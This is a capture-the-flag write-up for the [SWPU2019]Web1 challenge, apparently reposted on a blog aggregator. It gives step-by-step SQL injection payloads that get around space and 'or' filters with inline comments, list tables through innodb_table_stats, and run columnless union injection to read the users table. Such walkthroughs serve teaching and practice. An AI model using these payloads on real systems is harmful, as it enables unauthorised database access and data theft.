当前位置:网站首页>[SWPU2019]Web1
[SWPU2019]Web1
2022-08-05 03:59:00 【pakho_C】
[SWPU2019]Web1
Try to register as admin,It shows that it already exists, but the blasting password is not revealed
Register a test account to log in
Apply to advertise
Attempt injection
Try using single quotes, and an error is reported
ExistenceInject, try the passcode
there is filtering, try to fuzz, but limit the number of times and do not allow the same ad title
soCan only test manually, filter or order floor updatexml # - etc, and automatically eliminate spaces, try to inline comments /**/bypass
Since or is filtered, then information_schema can't be used, only no columns can be usedName injection, refer to: SQL injection without column name injection
1. Use group by to get the number of columns: 1'/**/group/**/by/**/22,'1
1'/**/group/**/by/**/23,'1
the number of columns is 22
2. Use union query to view echo points: -1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
The echo point is 2 3
When looking up the table name, it is found that or is filtered and cannot be bypassed by capitalization and double writing, so information_schema cannot be used because it contains or.There are two ways to bypass
InnoDb Engine
Starting from MYSQL5.5.8, InnoDB has become its default storage engine.In versions above MYSQL 5.6, inndb adds two tables, innodb_index_stats and innodb_table_stats, both of which store information about the database and its data tables, but do not store column names.
sys database
In MYSQL above 5.7, a new sys database is added. The basic data of this library comes from information_schema and performance_chema, which does not store data itself.The table name can be obtained through the schema_auto_increment_columns in it.
Note: The sys library requires root privileges to access.innodb is disabled by default in mysql.
3. Use innodb to bypass and view the table name: -1'union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()&&'1'='1
Get the table name ads users
4. Use columnless injection to view the content of the second field in the users table:
-1'/**/union/**/select/**/1,(select/**/group_concat(`2`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
Note: Select 1, 2, 3 used for joint injection here can be tested. If they do not match, there will be a reminder
Measured as 3 columns
Get the field name flag, then the first value in the third field is flag
Change the column to be queried to 3.
-1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
边栏推荐
- 【8.1】代码源 - 【第二大数字和】【石子游戏 III】【平衡二叉树】
- Kubernetes 网络入门
- 【测量学】速成汇总——摘录高数帮
- 国学*周易*梅花易数 代码实现效果展示 - 梅花心易
- Slapped in the face: there are so many testers in a certain department of byte
- 冰蝎V4.0攻击来袭,安全狗产品可全面检测
- [TA-Frost Wolf_may-"Hundred Talents Project"] Graphics 4.3 Real-time Shadow Introduction
- 结构体初解
- You may use special comments to disable some warnings. 报错解决的三种方式
- 程序开发的一些常规套路(一)
猜你喜欢
Spark基础【介绍、入门WordCount案例】
shell脚本:for循环与while循环
Spark Basics [Introduction, Getting Started with WordCount Cases]
Leading the highland of digital medicine, Zhongshan Hospital explores to create a "new paradigm" for future hospitals
[Paper Notes] MapReduce: Simplified Data Processing on Large Clusters
Web3.0 Dapps - the road to the future financial world
日志导致线程Block的这些坑,你不得不防
MySql的索引学习和使用;(本人觉得足够详细)
Use Unity to publish APP to Hololens2 without pit tutorial
Developing Hololens encountered The type or namespace name 'HandMeshVertex' could not be found..
随机推荐
七夕节代码表白
Package zip is not available, but is referred to by another package.
1007 Climb Stairs (贪心 | C思维)
The most effective seven performance testing techniques of software testing techniques
新人如何入门和学习软件测试?
Burp installation and proxy settings
阿里本地生活单季营收106亿,大文娱营收72亿,菜鸟营收121亿
多列属性column元素的可见性:display、visibility、opacity、垂直对齐方式:vertical-align、z-index 越大越显示在上层
Slapped in the face: there are so many testers in a certain department of byte
[BJDCTF2020]EasySearch
36-Jenkins-Job Migration
What is the difference between SAP ERP and ORACLE ERP?
How to discover a valuable GameFi?
XMjs cross-domain problem solving
UE4 第一人称角色模板 添加冲刺(加速)功能
burp安装及代理设置
YYGH-13-Customer Service Center
冰蝎V4.0攻击来袭,安全狗产品可全面检测
Increasing leetcode - a daily topic 1403. The order of the boy sequence (greed)
Ffmpeg - sources analysis